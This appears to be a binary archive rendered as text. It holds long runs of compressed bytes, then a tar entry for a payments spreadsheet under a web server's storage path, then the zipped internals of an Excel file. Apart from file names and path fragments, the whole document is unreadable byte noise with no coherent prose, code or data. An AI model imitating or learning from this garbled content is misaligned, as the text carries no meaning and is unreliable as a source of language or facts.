����"��fSJ��]vṖ��X��W]v6.��r���.l���t�������t����`�?����P�=[6�B����[�‡7������t_��m5��R�a;�����h�=�1V͎�`g�Më�'�)�#�n�Ͳ�騬e<Z���l,�
N�r�ݝD�{�U�Lh������RL�s6���剟��b�ˡ�'�L��b�Q���R%�ߌ��0|?|��:��ra~Ta=�P�~ܔ�1��'-�(�ۛ�����A8�ZzF��x�J�f³{��
M����Dm��Y

�r�}]�>ܥ�ʎ�Ka����`Z.�Q��n��A����݃g{��5�/[�:=ޏ��Ř��U6�=���	�#���<�PNK�ey\�<D�鐘��U��LQ'٠�\�O��q6&���`&>�d���
�6SyQm��E$�.n�ٕ*�e�9�W��h*���>�I��>��=�!��Ex�a%�Cp�X'闶�U.ڄ#�Id5YF�yx�ߎ{�G6�,�6��ί>zV�V�U��=�K&.���)�)mX.����vU�n�ٜst����`R����,�b��/�z��9�uo��t��ʺ'5Bݧ{1����{�����Pl�;�ޝ��=��P!�s�N]n+�i��USB.�Nt��(��!����[�JK�s�F�>��l�۟/[�,O�\`�J�&;�<h���K�:�dܝ���ʶ�~��u���oD��6]{�\+Uߵ��<�y�6�,;�Cd8�
1��h�SOg���
����|���ّl��SA�d ��3�F:��Tj�n��e�Z<y���b��6��u��-&��a�^M3�&��"�ܰV��8���n�Q^�F��d�dҵ��Ie����lﻘ}���HN�ݏ��d���X�3ҚxoV���IٖX)_~0��[���3lq��N�a�5�6dH�U�!�H�a�gh+H��@�8�8��ͬF��n�`[�ѕR���91�`����;8$�C�…Ն���\�~�>��j� j=�0,��IJ.Y��>�2O��k��U���`��{� ʼne�7��j��_G���q�&�{?g�ߗZ��:�j���p�;@�^=�䫍�T#�˾��V�$���F�ǚHӎ
�H�yy���2b7�.w�fK��gp�9�j;�[�I������gE�����9��֚U>8�Ɗ���������Co?�N�W4ḵ�n�N�Y({{^?^ID�ķ�^��m��=z5-7��4n��֨��hN��Ѱ�}�s�3$zL+nw���Ex9�ՙ����<-�ay�X�
�&�JMi�BV
�8H�o�[N��̤"���`t^��ux��Wn��qz��:��� 1^"@��B��ى�!?Y߮	^�8�y!u�g!�`���j��	gh�C��Y�������v��{��d҉j�7����RF�Hi���uo�	��]�q�p|�r$��}0�o�L`U:T��D8�s���A;8� �M3��m�p�F�������	��%��uE@+���8`�\���u�=�
K@�J�'-v�UNs��+.�[�E��s0�����������r������?��������?��?����������_�����+*�����~���Xo@�ō��c�7|�º
���=V�"�7;?��'#e��q~�+��#���3U�{�p$o\3�d:80���K�rm�C*�q�5����(���a�xGxML�-&�@bP�AU�D\pGO�^�lX�Z�ڨU�u�ذ�K�N��IC��	��4M������탈2�VA�>�������苠��v�&��1	[|�1�x����¤#�=��d1vs�I��>I���'�}��דmϚ�!oݠ��72�Ao�:�NL�,D�"~1�)��*�E	��L����6LBY`�&&��:7���HXw�O�8�=;�͜�m�!��������
���oHhS����	v�׻T�7Nsf�;V<4���5�6f��¨�l�6
�_��oj8|uxY}��.����'�3��!46�O�� �bDNB[�=�
�z�^/�<����� �rV��ی�r*4�� ���7�o>�����C�U.�+����|w�������w���e>�	���z����a�k�
S��!�"&�1��*�Xi����a�����+����yI�Fj�䐇PhW�0�!t�8��(�����@����\��:F}y�3x�����3|�_�I��d��e�KV�)�R��Gr<c�r�������^�8((Y��c�$�����2�����	�ұ$�ȌkV�N���J��U�ޜ�xF��<q��g�鷹�tk���ߴ��Ё/�F�.4��Iof�9V4�A��*D�n���tH�ØQ��h�N�s��>㷂���\�*�Q�*K-��b�u\�Zj���	��.踧� 5HHF,,�kn���1�=K��5��a!�f�f�K���͒8���	�8�p����
����I��PA6�,H��?6D1^�x}|?$�CaG��O;c3�5�
�7Z��4���<l׺��kڬO[�Ë���ԅ�7�f��/ZSM��0�X�b-w4kI�k��:�񽈃��6����8� ��`w���*b��:rT�z���{<ԍ������s_��!�	���ź��.��g��ǘ�[\�l�|y���~��]�[
�`�~���Y���.o�M[ļ�������焠�a�1$����K_�b����D�C5�2P�W�hZN7�^�l Y(�L0y_+x�P�VA?�d�%F��f��D����Lہk��%�ca��uK8H�Գ�~|"?��/�S�Q=�?_سi�k���"d�)4�8P(@�D�8Z����V��6T��-u=-��Cf)��Ӈ�N�alj����D�z�[�a��"�����R���/(�;���N���t�	�٢^L��2�c'I7���ؚĪ�PX�ǍFt��p�k�f�=���?��X���D�S���և�ץ�L_�4y�e~�d#�H���K��G	&ω�0Ώ�H=���2�_�7�^��u�䟲NR�:e(�؝j`
�Aۼ��E4��y�G�%/}�+��mE���k��hK���$J��`
`H<��M���Ş�ƆZ�ׁ�Mz������/#��8
My�R�C�v�\�!5�ũB��BJ&���@�g2M�o��W���c��I���
���|�Y~AZx1�_����k�\���w�Tc�*���s
(��4r�v��j�*MT�<�xo��@M8z7BOcY���*������ώg$\S��/�\����on��K[ � �c���rQ�v
�D/Na�B[0�������k��[ݐ�t��rp��1;�5V��
v;=�‡ÛM9�+H0�O�o(��J�͔��Z��ʏ�����O�c%��?����5����g�j��qw}q�n�m\
����&��9A����n�]�k�x����!ґt�n�?M$n��l,
5/�6�8�]Od�V�Y��\"������l��O�`<���2�j�P��m��ϧB���;I�}�������?��w���G���G�6$�*�޿��}��>d�6���&<�̉`瞘��y?��4���1�6:��LB��fa `��c�3S�ژ�l�\�l.�ŬEC���i="z('}pπ��{���U:�G|<��c�r��#����aƠ
�G��jW�� ��¸,i]?���
&�&�3#���^4E����o&���)|�cO�2O�??S�z$V��0�Ҍ����g,
a苝`?t���a�J��|��)��lb~𭠘��u���C�J���J�x����E��N�ԩH�|m���B�u#�)1��ۓv�����T{��.��Y�)��h;��F�����XHU�S9����lQ.S�Y�+U��jQP�X�i5�\<��WX�驶��x$��oF�Lj���V�n�a�.�9>���[�0__Ջ��]*�K	�^&�g��Tm�e7JQMݭǩ4_y(gR�T��N=�ww�]�� ���R��֚�3�T;�KG����P�p��R%��-w��i*��R��4��[�bf�c�z�/fr��i D[����R�}�#/�x�J7��x=����T6}�	���r&�z�Vs��.�?��Pl/R�F�W,�*�T��Cuqq�7W�\u�D����U�it�L&�M�O�IX��fO�m=ح�O��j#�{�V)]I��x|�F;��7��c����UE�U+r4��ZT��ݽ�]�<��G���j�?��<�g_�S�����eQ����x5��rO)���vJ�J\��l<w�x-�8���^��E*��6w��O�QDڈl��T�S8��F�p9&�s��n�.]��7���*��H�~R("r�-�,��w�\�y���p �t#���ߣI!�R�4h��ub��g��	��)� {RO�F����Z����Z��z�J�J�~��]J��ゐ
!�g�6?�G+�7�7�T�iV���VIݳwD�F)�.)�t�m��}*=٧��}:�n����he�t&3o�����%n��Ba�O
��Zr�a�!��\k�
�6�c8;
l��b����K�]:So�w�q�ۼ�T^��t:?ͻO�� _L�R��콐n4��U��o��]�w�w�bb0.F&�ma����ۍ׻�:7؊�®�
���NvōC�Q���z﮾���G�~](u���e~T_ǵ����ͦ:��\?�Zm�JFm��L�2��r���)��r�Yn�����=�����R�V77���F$��Os�n�4�e��P��lf�I�.s�+�����^��A�۝����X��sr�UަcB�����M��������|�ȷ�9��G�E�L]�T3-Ogq��V��~�F@��f��F��Y�S��E�$=ާ\+�嶺X6'������zO�g���ʵ��,w�$8D��&���./��|*U���}3��t��Va>~�jÅ�W���؈T�D�ɯ�
��M��ͦ2�<f��TJ��Ԡ�ۊ�B��m��=X�m�Me�̫|/ם�x�	�x�wW�,:%��u
;y�)͗���/�Z'x*w��œXI(�^�!P�.�R[\j��"P��� ��F��圗��:�������8�<l���"_�v�~�3�����G�����S�^�������겍`L��K.��+���o����4~�L�����5��R�����Ф�.��E!��ʳm��U��I�Y�K�HY��U���U@�����/KO��]/�Vӽ��N��7(-��J��!�����r�Xb��D��A�8�Џ�x��<�m����c(�`;w���n6���>�'�����a9>��;��Ӡ��G;���6�a..':�i�[���S�a�
�7�w�U�[��[,���|^⺱VV{��C{�\	,f��޿
�������H�9>/��R�
�{u����Ҕ�jґ#�\���,����$�/������X�������M,���yp����S7��V�<=��d(i����m�{��J
Vؖ�.���Ku�8	x��.�]<V�(�_�W�P(���/�aw��ւ��T���%Ԭԩ������A�����f�\./��B�o�Pq�7J�Zg�����p��7������*��ɣ���ݜlU���Z��I7"���x:��H����~O�{���Ĵ�?)C~�E;��z8�m��4��<��~
M�c�}��3�]yTn�+kI��C�
[d36���zFg��ަz?nҏ�r�s����jm��{#n��i)�7:�i���WOi���w�]]iޅ"�iu6�,���V�Gj8���M(�p~��t�B-��1�o�*O�F(Wه��h㾗-4��(�@�Ҕ=K!��U��jڌ���UO�a����v)�UeQ����w�EH�x*�|q�|`�sw�ͺ�_l�EyRT��^�U�T���M��Z.�������I��
�6*Z��U�I������e3v_�W�f�m�*����I�_��ۇl{?��|~��]��L<t��Y/��/�I�W
�<)2�wѭ8�=��hY��y�>��bպ���ʈq֗}����N�S�C���}W*U{�"	�Jl���U�ٯ%��rj��n�����U.��:�n��Z
o�R���^n��2X��:��Z�D��H��Y@wb�\Nk���h���1?�׃�'0l�h�z�Ѳ 5TO�;/)�V?tF�������p�S<��}ӿ�ֹ�c�����Q����H?���{��Õ�p���Z5H̞��ȨR��b�X�U�V�=nt�W��Z�9��m�Xƴ�P{�{�b��D��k]�����Cl+v�ִN�ө���H���j�Z4z�\Iae>q�j��N�nj��+n��@Lj�f��hN]%�T�[��]��Ý�R:�޾*�Ɲ4���!v�g[
7��1����o����\d���Xh��Z�w�U��x��2$)�FBe#-/F��J{�(q�n�5�v��n(�����
پ��b�`�
ʵ���ݵ&��+ N�ή�O�RxX+킞v��<͗��S0�V�8���Zq>&�W���.&�x%�P���+��0QD�>��j+4\�*�>;�'اQ^C�N%��*|H�e0ފmG�\V��l�;��kO�2]����?�'�
vP�tk5�Y��D6��-nU�v��4{�-I��ʉ�h'���~��:Xu��o���zډ&FUoڐ{���������J*�����~f;�zvO�C'�����i4nCk9��<�x�..��iDuZ��(6��[36�KE�{��/U��
ݙv�He�T-�b���"�o��r����-��-�	rR���0'V�� ��&"_H���1�r��oxl��j����G��փ�V(�Q�\��S��ݭ[�]�#xR�x*��~)��ŇTg��z.>�������B=�s7�v�e�/����c�G�~�1�ǂ�Ķ�����ٍ��?Zb�}�_�]�]N�qO�Y�2��S�!�w����>�xi�k���D%4�(y�r�n}�������35��<?�,����k�M+X��z�T���+tơr3�W��`>���\b���b��>��'�Rm��c�%p�L5(V�at;���<�E�J���.d)�n���=��r�T���l��b9?|�W��oOc����(S�{7��������{=���]՛�z�1���:H�yj�6í���zj��w�n5t���:�]�q��=�N���VZ吴�d��m%���A�H��T����z���Ү�v��Z�=��ǻ'T1�OW��,w�t��>�=&V�L�_P�?��������έJ�N=������_��Q*�k�`��)DF\<V�du5馫;9>д��GO<4׬VCyO?�����v�7�:��YsU�g2�i
�]�O[ȟ��?m!�B����i���-�O[ȟ��?m!�B����i���BZ��S.Q�������l��
��S�����!U���YF�4��}���SH�o�6�Zn?��n�!�v��C9��Oһ]�H�w��,&��lW���&�؍'����q��]�<�Ұ��Q��b#�}vO�s�CFw#i�����c�pw�}l"��.�.;���݆��l��X|Pw�E1��m���}ğ糥�2( Jt2�J.�@��\Z.K\ߣ�{��C_
���8:,jE���tk�6���h�S�v�3�:�Q"���5�n�44�t�hV�B(ol�*?鎋��V���\*���Lԇ�c������oW�����Z�Y{�O��j-�ٻ~�+%2�l�=t���C�T\��l>�߅�q�p	7G�Bz9R�~�k���r>)�����v4�<�u0�<�6B�4ɵ���z� o�iUyږJe3Zg��p	i�s�>*�6ӆ0-=���|T��F�.�V�Pb��#�=w���Ánv9�'MQ��S�yu8\�慇�}O,&z�M����@>��w-��=�ٸ;��jo,�ǍMg�>f��V��S�Bj�;%y�+?d�]
��9�g�O��0U.��N��
��䁯"8����������?:~�0����1D���gp�M;q���sV�WYO�J��U�o��`b'̇�G#U�T�r7���T30P��;5(��nUQ��r�I�"�oI����Bn,��l��g��
�hW�GW�żMI��bpΟ:�y1]��7�i��ޕ{.л�W��i��f���l�B����Jo���-�^8�����n8b=��N�c��c<֨�{e6�j1�uX�p/F��pe�U9�<^D'��Gc=�F4����@���쪾)��j�I'�`�:���t7���m�����F��R`=��Sܫ���Q}*B�f
�m�\��êB}1�/T�۩�f��*�Z�Z�^��Mq����9��y\/�y�g��H��QĻ��2��3�}����]����]{�{�H 艫즽(����6�*O�ѝG�H#��jj��G��Ӧ8/�
�cݗ~O|1���2)�T61���t'P�FZ��H�|�)7'�|:�Lzl�~��Z,�iΊ�h)���+���鬧�p���G,�� �V��`g����s�A�Q	�3O���]�����`~׫�ӽBB�5�}�	�:�b��D��Wpム˷K��t^zju�����VZ���5իL���l?w�]i�P�z.��K����p�|c4�Z��`L�Fg��++M���A�]o&�L�5�x4E�Oý��a�m��t�/f䝴�ŀT��F"91��'� �_��n��4�@���˕�:U�w���l���R&�Hܕ+	�Q�/�i�]��IaU|�5����
�l0�z�}N.�=��r�ZI��b�a]W��r��t�R}��륽�*��-�7)�!�:�A�T�ݩ6J�L�XL���s~(p�:Px^±�]snK<��cA�b��l�$�U�{��솆�B\A6�
��#�݌D�ӮE~��(��S��	�?[U���	��
J���둿�/�<�� N����rX�
_�Qȣ�K��rU���^�81ļB�s4:���k��5/��T؎O����.Ʌ��O�9	Upc�6E.�KQY�u�_=k�~ʀc$�*#ض�؇�c�`�N�zhK��u^D	"8�4��5F�x-T�]h�r'�©�hA"F띡,H�F�_D���*�dX�S�Z�+z��p�:̌�;W�$2�q()�dk

���('��ɩ����+|U��G��ċ��:�����w���Xm�@�4

n�~7�nƛ_�Xs��bI�^�~�/R,��M��J{A�m�\��S��1k^Q!v%,�5� �E�+x���x�'w4p�c����ڊ��	<~g?¯zOq��٬�ς��@�-���8m&�2?Ih��x棅f�C;� m�2�w2H�;q�?��v��?��{�Ӄg���`�{��k����p�OG~/Vٴ=��V�th���߸�m�
���w�s��ڶͷ5HD�!��� �mAކx��^3FPȷZ:��pf�C���ۧ�E�z�*I�X[�T2�m{�NM�w94�XNX���E�x+���e[�(]�I�bQ�A}��s>��p���a����@��1��>�#\�t�ʷ{����A ����I?��IF| �ѲP�A�,a�N g����ep�߁�q�H�
���f��az��@V(���5d�u��
�/�R��S$:r��^4I�s���Яo���l�@~�k�n�-	�X�)Eּ�OUE�oM=U�j�P���?�Wb�ɥ������o,����?堺]=������$ୁ�u$?�2�aCZF���/-�L*1TY�b�j�Sy-��v�<�=��M�Twƈ�}��>L�,�6Ny�6�ic�G}��,�ïa�|�u裒�3��#��g���YSE��x�R�aJZ�]�q��L~��~t��
�d��_��MX�r��nh/hm��Q���Fk4q*�r
q����`��9�#G��"l������AȨ�[6#�Dѿ�a���������`�b��f�3Y�>.ɷ���>��mu��Ң�$�I�8�*|�q����W�wZa����t�<�e�������!C��z8y��Xֿ&[��D��
�
���yv� �h:�Wwu�������rA���X�����#K��R��"�D�E�w�M����4�&�%�~x
Ɇ�< u��>A�l<��ON�c�TZ$�4�a���I�O^�|����X,��8`C�n�Ts�"�_���$�*�X�`�'������P�8F�lQi��yK�9���q�D"���'�������e3���H"�Ajb��pHԜ��QU��/��C%�V���y$���������a�r2y��=|�Ap�@8	��X����=��L�?���P��8�]G4�뉐r�F��.0���s��+АN��ê'>��S�S��J[$ �Ӥ��d�����;=YI:N�r����Jx�y���;��{�),2����M�O'��;�Q�@�!:=�K�m��Da�ĒqBl�c���
�1�8c
���B��Nj�Ca�\�D����&l( �ȁd�H��,��c!_G�4�8V(g p"�[岬�M:��G��u�"�Ѐ�Д=������큼��C�-ƮxY���X�83�6a�.`H��<<�7t�^�m�5�h/$�ei���Wk�j�,�H�?�dSu3k7�ή]����������-����!X�OaQ�։���=�c�a0�)z�'u0��'�(s�w��Nr2]/"chP�xt?ݞ�i�+70g�/�e�sg���'s=3_�O�q$����Xt3���7,kƁ(�vľ���2��ု��
O#y���ԏH�u꟧x$O��x�q&��(7o26\�.�~�-�v�/a�G|Io��Kr�:g2�,F��+�x��㙀;l_��� ˖yͩ"�p0�@'%�(	6��u���L/ιY�2�Rב|Z��_��9[�0`�_�j΃��Cl�Æ/� Op>��6_�s������y�ZԦ��W[�Cg��OW^1d�$k|8���T��[I��y�Nu���P*�� |ql���!ߡғ�-������gH87�\�NL��'�/P��?���� ��t���1��]�'I`xl���h���H^��)@-J����`D�\��7�C�S$9pT���M�W
�H���,5���	q�"ʼn�C  �|P�05���������ڨ*�8SC�p�㲂����q�W�yV��FS�m
	���Y��TBl?������Ge0�؉��R����T���G�"G>��6U���/��-0�x�����IƆ1��;�R�����z P}����a����^$4���0p��2���<�h�m֍��t�(�
*(I�Y�q��3�(k�-*Bg%��4RΖE�Z�5h:�wB�>�X����,h��<_(����u����0��_΃��{mئ_%	�яh�Н�:Lp�Ռ=�����OY������r�Y�;����V$�A�eY捕k�u��yc�������o�ȇ�:|���Fi|���I�M
��J_aR�9	PO�.k�F��[�%0�S�P2G+��"�x���%��,l��-7]Vg�`¸����EP��d��hoͦ�Q"~ctڿ���҉��b��{��[%�wl������9~O��d	�h�^8W� hVy�za�	ӕֳ~�rt=�E� aN	s�^D?W��M��0��y�=߿�������t�9o���}�p���͕��ga>%
�z�d���ƑՐZ��O�c����I��	Ġx`���_q��.�U���aH.�'�$��s�bG�xC�g>��_q���^�~0��f:$fZ�m�úV�#U�o~"'[�����Шxx�˂��Y�S��c�[��QR7
|')��!-�{n?N��	W��(�5�˳t��a��H��:Zh�:�[6���c6z�=�ys��|8 �0_����
S�
_PB���a�Jƕ~e��pZ�'��
����J�o��1C�I3�u��(o�R���~��F�R
z$:��(�����h��y-G|ӻ�Х�>(����lފ�-�to�BP�."K���t�t0X���k��i���X�9����{9��.&ou����GZ�i����x���ց6ע})+�xz߂9��Ǿ�x2������r���Z�X_�П;^e���ٮ�|z�Bv��W��
��(�FD3�x�_��
I�
����)�dÉ�㬧Z��S
���q췦_�Gm2�P��@��:-��[��y�\�]ň��՛���U�b7����RW6d���=��thd�A҃�	�O3�Q�dzX��9'\���s���4��7N�r�-�tY6��2������s��n|�8h��>�Ȼ������������!��!��xǕp,T �\��ʘ'5��Y�]=��%���+�; ���U�e��OO��1򨧷^�s�~�{�m�����!˚��i��
���ha���FT1݁�c�;�z�ۏ0ύ���
���!�o���f�v�3ɸ��߰f�2�v}��a(�`p���;>���4��ҡ�����	�|/
H���p	��u���*F����'�
��!K���'�9���m���3;yŨ+���$�}�Qб�b�&���d��T��İ:�|�������/����BȐvm�6�!@_Y'|pv8���o�#6����jb79\A���������Aj}�K��Ц���b��`k�a�|ܚ�G���U(���P��,�5����@��a6J�%�N�s!/V�D��h��%j2�{��䳓�P<��^����U��W��,�KR��:��YD�W���
�Ј�(��R$�#i�r��G������|m�<�����?3+P�ɍ�l&��P���J�\��Ob�p�|NʺOq/T�9ek�q��Ll�,)��٫���<އ��ғi
�	~���1�]�>^���Y��-��3o������Y��!~}7��Z����20C�!"�JG�>$� �+䗣�n=7(�'?��&�D﷧jXw�K�%�NL�H`��<G�S�Uw�c|���8DK�Y|�$V����o�0��-��߅=�Oc��c�{s���[uFz%^����t��[�p�E�;�M�@U�sp�u9�W�!sw-\��	/��}�A��'��y}��1�Nf�<�d&a|'-�VE���5$S�
���j�~?�8�b��4�ފ/��[���q"-J�|�A�0}|a���q�︎~���a�B,�9N�a�dc�N4m�^��X�&��o ��,/��-��8n8�c���n�����q�3���=��]���0U(��JΝ��l`0H~�z|�	k��9����8�.s�����ۢ�1(�	g� 7���t�a��%�:X�.�a��$��dS$��T��Z�.��@���Sz��WG0��h��@�������5���V,��U�o�O�R��q���յø�'Hv��T`����Z�_B���5iF��J��CF�ˀ�.C�a�
9��Q[��!$�H�����a����_!F�ހ%Nj�4x�ki蛫W<P\
r>n�<<S�d�*�Yؿ���A��O�c���!T���QIi]�|TQ���"��2(K=(x	{P���
�����H�3�\�pW�/�*�Z��l�;�O����x"Lg�\�KE�V��v����p$�'<��(h.���e^f�e&^
�e��ށ�>��#By��A?���m�Mn�G�'�ut�[��pJs��@ gn�Q��ᇈ5�%H�0��2?2�7fx�F�8.5!LChz�fL�*$���2@B�&(ڼf� ��<���Qu��|L��_�
$EI��j�QÌ+�'����6�BzR�H
��FZ@Oh��U����[��
!
���o��1~�2��
�T"/@��!�� � %�j��:T1�藇:}W�2�<�B���_0n�>�j�1*t܍�nr�Ar�d�E�Bu�1��?�S3����b��\�,w��Pr���޷ν��+���/����z-'�ku0A;�z��UiWH.��G#	u��Akl�Q�@+�	��Ʒ	�de̶l#��<�~$(a���WW��2#,��$��~DПkL�GY��eyfKPaQ�� ��8��׍���#K�P�Q�J�}@Z����"��ȣ4�L�qm�����b�/,��ψE
�/WW��<|���\	k�.f_�6����on��8���d����;�[��>��_��73��dan�y�?lA��S���|��V}�3 ���񸿱c�Yu�eGU-��_n���G�Zt���e��c�����km!j�i�hˎzp0��-m�h[T�mc]�At#�SO���^�� !y�P6��
H.�o����>�膶K	��_n��v��}|F���8���Ш��K�o�r��c��f���b��$
#�Z�$>(~F:�o�df�tF�2��nS5r���̈�g�K�cN\��3%n-�9MV|55F#tc����f�!r�mu�r<4�9�Aڼ�gᇒ%5�3��1��0�[������>���Ŷ��ߔ��u ��c���e��)�1���ˁ���
���R���Njn����*�*���T�O�?p�|)���G�P%=��$�ޘ:�Q}��$cAA �����!���T���n�Y����F�Ĕ��";��
c����=������P7�����HZ��Q��s��0:��Fc�A\Q�E{&�[���A���
ל�H#�<���oh��q9��ϲ5���Cf��s��Ò�<4��2tTp�`����O�d�P�����讜/�JƲ5΁���#�o$�?�jK��^@��B������<�s����_p�g
�H��0ߥ~���n	l8*���a~;�K4bڥ�&/��j�<S�a�����]\�ߢr�޸�jn�����n������bm�'�A�Lcja�3��O>�V�t�Q�#����?�f���ϋNuI�~�>���1��<cЍUH3���|�7�#:�����̉D�g�/�n�K��6���Fm�d�F�OO@��`8GE�7�s�#j\օ9Z�=��x ҕ���F�W�v$� 	*C��
9�e�~��J�&��=?7������F#^���,�2�@�F��G�"&�C��1.���);�-�����,���g`���:��<�����{��;v���=����=��j)BK�N��Щ���0�ѹ�S�s4�m��'FO��lw*L�K�&=�3�);�:y%����a�ɩ)0|�oR��l��'�GE�·Va��0s.�.+D��|5�uH}½2Ŝ:9�1�0
�3׃}�AG���U�OK��@@�mպ�҈xƶ���B�t܈�/t���w-c���Kw~�0��^��]��R7�Y����1��эp
��AR�s(���cQO�>G�%����r��>�m��^�K��U̩"!RD#r^k��62ֈ]�8ڽ�9�����"��c�j��_��ߺ���ؘg��cq��i
z%�<9mK�ĺxs��Y���^�.缪rc"=��r�4j�"����H!�j&�3���8J�	�q���Ȼ��⊥�ɛAf�kǐ��LB�.��p�t�������
@�-vsa�4�z��O�l�J����(JiaH>01�~%+��!�j�v&����=��~L��V��j`�U�K�_
�!@2�fiO�>�f�ϗ��n:�Y�O�t�W����O�p�{%+�}k?5\
^�ȷ#��2�渞�kM�n�V�$HYQp��Wّe,m����A`�^�E�zF�x�P@�m�p�� ��b_��:�����D�c.-Y�H���:����XFx��Ø�nl�8�E����8�I�v�;�y��J�.S��wyA������ٳ!�_���O01����m�|_��x���儓�xda`J��6c�o�6j����u]Ӿ����;88!�P�cI�v[�)�;A!V�Ye.�Bly���c�rT_�<�o
DYb�J����cѳuIi��h%�C]�͙z�QY���=H��<T�ޔcN�G_�uu�;ϸLI
S���Ev��IC�%�7�^&@� �G�(7Dr}>���"�a\��F\�m`��ԯ72&��:÷-w:<0ɂ&���e�k�@�'צO��9H�5l!��9�g��p�6�1-\Fs��4fD�!�)����ƫ�!?�LP�e�N.^�3ād�|dpU�8���qˏ	g0Ii�c��R��R`�sj�H�H�Ԣ��2Z=���5-NX<~dB�=�Ԕ`�C��"#�5��,l@�$�����}�"�/W$I9�Xڇ�P_.xm_����B_���%�p���A#K���J���ulۨ�˞*H�|f��f�6ܼa7=�L�M��i�TuR�����*k��݅�[}��urtb���s�ˇr����5�^a�	d�W��{�^��یͣ���`��ze�6'&�5CC4��;ٴ���%xc�!��%��77���&���"/.����$���0�����8�듣Lmk��f��� VոNuù1u/��&��85Km�_RxCT����g����h�e���I	!�+��Ù����U���d��fN��j3���D{x�{b%�~kj5�W�_�R�o����_�kؤu�sV��k3��-���C�p;`V7���b�~1�C����^����.�(b�6����T�R�T<$U�t�˔^ ���uj��:E�6�Z[�@�Y7�4I�0����pW�t��'�ޚ������fx{�m�p��:�����B�a�?V�I�bxRXu�m�橌I�P��_���j	�qbp�!ݢs�����
�B]�uמ<?���(�I���X�6�H���>�Ea�H��2<4�GIqT���$&�zH�\N.���f��\�8�C�4V��?�@f�֍�tP�.��VY.:��€���˅�+�J(8��
�����
}$Y��H��a��7�'Fu�e��KS����?k1Kx�S@`�����s&�#�UÊ$63���+�Iƀ�`��J=�f�]|���������؋CQ@_ �)tb,���"̳7��qT�3�F���t~��Y��A��qP��;�VԿ�w�6'�A]�N�<�`X�\�/Lh
�_&��D��%
��%#N/j���8�9>ñ�x���\�9�9:8l����2���?�%��{4�H���,^0)��2*]Flˉ�&�u��6r9��p���sh�%==4V��*{��I����~�ʲ���
�0��a:{8�{Yk��B�7t��I��8Ÿw&}�1(i�a��Lj��1%���(E-ꌠ1��G���o�;�L�����L����R�Eh
�"�#QYq�7��_�W�(!���3l<���n�#8���dxv���:j���H��c�8��F��3�ZE�Wpa�B���
���#ӥ�W�
��ɪ>�V�^(3�7aO�����=ǭ�d|ˉ�\G�'W���8V��w�TB���6e���y��D����o*���]K��r����Pl�+s����lq�Ÿ�_�W.����'v,��
�X���T~�v��jλ���7��sȒ_���������1��$B�c����<Z5�~�']�7����y�kNԛ��*�}8�~�A�
��k�G��� ���_
}�4��$��	�W�
���k�\�Fo�!l�,�����$��`�fpL��1��n�_�o��z�0�be^*2;���7D������G?ԸA���Ⱎ�r@|���4��K���skt�ؙU�9�
�<e:�[�4�zk
��U�
�Z�7����MN�T��p_���m
�.rK$��+��+��)�{���;�G��5��qq�8�D�[�nN@3g�a�����ԗ‡$����?�i�o�ym�߲B�� 8!�r��-�o�c�>�����ß�����?����/�,Y<PK!B8��$$,5dkj3p/payments 2025-05-30 07-55-52.xlsx.tarnu�[���var/www/html/back/storage/app/public/payments 2025-05-30 07-55-52.xlsx000075500000016014000000000000020151 0ustar00PK�>�ZG�D�Z�[Content_Types].xmlSV���N�0E�|E�-J��@5��*Q>`�'�UǶl���L����@�nbE�gr=��tW�d�>(k
6�r��V*�,���)�cI�`$hk�`{l:�/�CBb
V���9��Bf�RZ_C�W���
��o�k"���ƃM�/�Jb2��&�i�
��(#?�<t†]0pN+�
�#QS[�J��b]�$km�~�^c�
�#�P!�Zg��<��:&�;r�2���y�C�)�=�R���C�u��A�~�aK����ջ��K�ެY
��:��޺�	5�l��(SG��:�^��χ��Q��xH��&�v>X?c��k�*�(_����}�>��k�PK�>�Z�78�K_rels/.relsSV���j�0��{
�{���1F�^ʠ�2��l�$���-}�y����Î��O��v�y�;�؋Ӱ.JP��޵^�����Yű�3G�Ww�g)��>�qQC��D���b!�]�i$L��3����2n���oT�:Z
�h����[��4�ი��]��yN�,ە�>�>�j
-'
V�)�#��EF^6��n�8q"K��H��>_ׄ���eƏ�<⇄�Ud�v��
T�PK�>�Z�$�V��xl/_rels/workbook.xml.relsSV���j�0D�
��ZvZJ)�s)�\[����LlIh7m��UH��Ĭؙ�H��8�OL���*J�M���|4�g��[=�
&$��w�74�r}$�M<)p��EJ2GME���MҨ9��ɨ�^w(We�$���O��
��V �)��C�_�9��J�$���/�:dG]d���WK�s��s��<�[�V�tB��)?����0_!��!��4�E�ǩy���PK�>�Zad���EdocProps/app.xmlSV�SAn�0���1e�(
�b�:-rhPv��ZYD(��n��/%Ê��T�fg��T���=&��Wb�(E�ބ�C%��o>��|
.x��	I��j�B�����*�2ǵ�dZ���s�	��e:��4��]0/z����$���k�o�d(Ύ�״f�GO�S�~Z}��Y���I�B�ŷ�A�伩���K�|ҥ��R�8�dc݀#T�P��̶`i��G�!d�䩭D��8��!Y�,βs1b����3��LJN���9��rdp-�S���#�-;�����x9O<f�e|��?���E�y�rB�ဃvB?��Ǹw�x�5�v-$��L�0�>�M.���É�멤M�����mcx1O�_���E��P.���@�PK�>�Zn�rdocProps/core.xmlSV��QO�0��K_�h�L�2f��'IL��km�P�ڦ�8���:������ӯ������U��+�gd<b$-�Tz5#/�yzC�\K^
3҂'��E!l.��'g,8T��>vFֈ6�ԋ5�܏BB�ø�c�nE-�:a�ր\r��v �=R�i���)(TP�FOǣ1=f\�<��d����g�`�WC�i�Q3��0���-�㪩�]UHYH��+_�F�F'��.��Xq����y�����5{�$��������rN�	�d)��)[��<��lr�X�X7��H��7�{��.Paa���ɳ
wJ��XGowA	^8e1<�2Zg?���O؛�m�m�����U�R�~+�����^q�
PK�>�Zs�{Y��xl/theme/theme1.xmlSV�YOo�6��S���l)u�:E��햦
�C��DK�)Q 餾
�q��aݰˀ�v�h�]�O�����
{�c���4i3lC�-������Q�z�A��!��c9�"������pp�m!�p`�ұfDZ�6?��7TDb��<��cEJ��-}���2OIkc.b�`(B;����n6kv�ib����xL}��Kksμ��+Q2��8�s�:E�
&N�#g��:Ĭc���
�e!�������?��y�^1UC��
�OIW�fN'�т���W����U\�����},uV���t�<5P�ʻ��n��o��׻ݮ�^���xw�n��[�
�]�U��[��Z�-�k+����5���A��d��s�d��
#�
�|,Q���
�D����b�<�X��YJ��\�#Aq&o��S�\��d!�����Q�!#��W�x��)z�����g�>~���O�8	u—�}��7��?�~���f���鯿|a*��'�?{��������%�H�iL$�E��>��6�2�F�V(pH���
